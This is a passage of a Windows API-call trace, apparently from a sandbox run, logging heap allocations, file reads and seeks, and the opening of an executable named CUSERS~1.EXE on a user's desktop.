lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0072.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0072.156] GetLastError () returned 0x0 [0072.156] SetLastError (dwErrCode=0x0) [0072.156] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6860473, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x68aeb9 [0072.156] GetCurrentThreadId () returned 0x9b0 [0072.156] GetLastError () returned 0x0 [0072.156] SetLastError (dwErrCode=0x0) [0072.156] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6878003, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x68f333 [0072.156] GetCurrentThreadId () returned 0x9b0 [0072.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9f5) returned 0x2a19e90 [0072.156] GetLastError () returned 0x0 [0072.156] SetLastError (dwErrCode=0x0) [0072.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a1a890 [0072.156] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a1a890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2a1a890*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0072.156] GetCurrentThreadId () returned 0x9b0 [0072.157] GetLastError () returned 0x0 [0072.157] SetLastError (dwErrCode=0x0) [0072.157] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x690333 [0072.157] GetLastError () returned 0x0 [0072.157] SetLastError (dwErrCode=0x0) [0072.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a890 | out: hHeap=0x2ad0000) returned 1 [0072.157] CloseHandle (hObject=0x1d4) returned 1 [0072.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a1a890 [0072.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a85d58 [0072.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a890 | out: hHeap=0x2ad0000) returned 1 [0072.157] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85d58, Size=0x1725) returned 0x2a85d58 [0072.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19e90 | out: hHeap=0x2ad0000) returned 1 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x204) returned 0x2a18638 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1fb50 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb50, Size=0x40) returned 0x2a19370 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x344) returned 0x2a18848 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x27e) returned 0x2a19e90 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19370, Size=0x64) returned 0x2a19ab8 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2a85900 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0xb8) returned 0x2a85900 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0xe8) returned 0x2a85900 [0072.158] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0x120) returned 0x2a85900 [0072.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85900 | out: hHeap=0x2ad0000) returned 1 [0072.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0072.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70908 [0072.158] GetCurrentThreadId () returned 0x9b0 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0072.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0072.158] GetCurrentThreadId () returned 0x9b0 [0072.158] GetCurrentThreadId () returned 0x9b0 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0072.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0072.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0072.159] GetCurrentThreadId () returned 0x9b0 [0072.159] GetCurrentThreadId () returned 0x9b0 [0072.159] GetCurrentThreadId () returned 0x9b0 [0072.159] GetCurrentThreadId () returned 0x9b0 [0072.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0072.159] GetCurrentThreadId () returned 0x9b0 [0072.159] GetCurrentThreadId () returned 0x9b0 [0072.159] GetLastError () returned 0x0 [0072.159] SetLastError (dwErrCode=0x0) [0072.159] GetLastError () returned 0x0 [0072.159] SetLastError (dwErrCode=0x0) [0072.159] GetLastError () returned 0x0 [0072.159] SetLastError (dwErrCode=0x0) [0072.159] GetLastError () returned 0x0 [0072.159] SetLastError (dwErrCode=0x0) [0072.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20078 [0072.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6498 [0072.159] GetLastError () returned 0x0 [0072.159] SetLastError (dwErrCode=0x0) [0072.159] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.159] GetFileType (hFile=0x1d4) returned 0x1 [0072.159] GetFileType (hFile=0x1d4) returned 0x1 [0072.159] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0072.160] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0072.160] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0072.160] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0072.160] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0072.160] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0072.160] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0072.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6498 | out: hHeap=0x2ad0000) returned 1 [0072.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0072.160] GetLastError () returned 0x0 [0072.160] SetLastError (dwErrCode=0x0) [0072.160] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6880531, lpDistanceToMoveHigh=0x9b9348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9348*=0) returned 0x68fd13 [0072.160] GetCurrentThreadId () returned 0x9b0 [0072.160] GetLastError () returned 0x0 [0072.160] SetLastError (dwErrCode=0x0) [0072.160] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6875495, lpDistanceToMoveHigh=0x9b96e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e0*=0) returned 0x68e967 [0072.160] GetCurrentThreadId () returned 0x9b0 [0072.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9e1) returned 0x2a1b120 [0072.160] GetLastError () returned 0x0 [0072.160] SetLastError (dwErrCode=0x0) [0072.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a1bb10 [0072.160] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a1bb10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9694, lpOverlapped=0x0 | out: lpBuffer=0x2a1bb10*, lpNumberOfBytesRead=0x9b9694*=0x1000, lpOverlapped=0x0) returned 1 [0072.160] GetCurrentThreadId () returned 0x9b0 [0072.160] GetLastError () returned 0x0 [0072.161] SetLastError (dwErrCode=0x0) [0072.161] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b836c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b836c*=0) returned 0x68f967 [0072.161] GetLastError () returned 0x0 [0072.161] SetLastError (dwErrCode=0x0) [0072.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1bb10 | out: hHeap=0x2ad0000) returned 1 [0072.161] CloseHandle (hObject=0x1d4) returned 1 [0072.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a1bb10 [0072.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a85d58 [0072.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1bb10 | out: hHeap=0x2ad0000) returned 1 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85d58, Size=0x21eb) returned 0x2a85d58 [0072.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1b120 | out: hHeap=0x2ad0000) returned 1 [0072.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1fbf0 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19208 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19208, Size=0x64) returned 0x2a199d8 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2a85900 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0xb8) returned 0x2a85900 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0xe8) returned 0x2a85900 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0x120) returned 0x2a85900 [0072.161] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85900, Size=0x160) returned 0x2a85900 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85900 | out: hHeap=0x2ad0000) returned 1 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f088 [0072.162] GetCurrentThreadId () returned 0x9b0 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0072.162] GetCurrentThreadId () returned 0x9b0 [0072.162] GetCurrentThreadId () returned 0x9b0 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0072.162] GetCurrentThreadId () returned 0x9b0 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f210 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f520 [0072.162] GetCurrentThreadId () returned 0x9b0 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0072.162] GetCurrentThreadId () returned 0x9b0 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6508 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f830 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182c8 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 [0072.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0072.162] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a71740 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182c8 | out: hHeap=0x2ad0000) returned 1 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0072.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71740 | out: hHeap=0x2ad0000) returned 1 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6fb40 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a20950 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6fb40 | out: hHeap=0x2ad0000) returned 1 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a20f58 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18160 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0072.163] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a716a0 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18160 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716a0 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20950 | out: hHeap=0x2ad0000) returned 1 [0072.163] GetCurrentThreadId () returned 0x9b0 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0072.163] GetCurrentThreadId () returned 0x9b0 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x330) returned 0x2a1b120 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71880 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6488 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0072.163] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6488, Size=0x14) returned 0x2a71760 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0072.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71760 | out: hHeap=0x2ad0000) returned 1 [0072.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6fb40 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6fcc8 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26a) returned 0x2a1b458 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0072.164] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a71600 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6fb40 | out: hHeap=0x2ad0000) returned 1 [0072.164] GetCurrentThreadId () returned 0x9b0 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a857f0 | out: hHeap=0x2ad0000) returned 1 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.164] GetCurrentThreadId () returned 0x9b0 [0072.164] GetCurrentThreadId () returned 0x9b0 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0072.164] GetCurrentThreadId () returned 0x9b0 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a19010 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6ffd8 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18088 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0072.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0072.164] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a71680 [0072.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18088 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181a8 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18298 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.165] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2a71660 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18298 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b2) returned 0x2a1b6d0 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6fb40 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181a8 | out: hHeap=0x2ad0000) returned 1 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70470 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181f0 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64b8 [0072.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0072.165] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64b8, Size=0x14) returned 0x2a717c0 [0072.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181f0 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a715c0 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181d8 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65b8 [0072.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.166] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65b8, Size=0x14) returned 0x2a71880 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181d8 | out: hHeap=0x2ad0000) returned 1 [0072.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 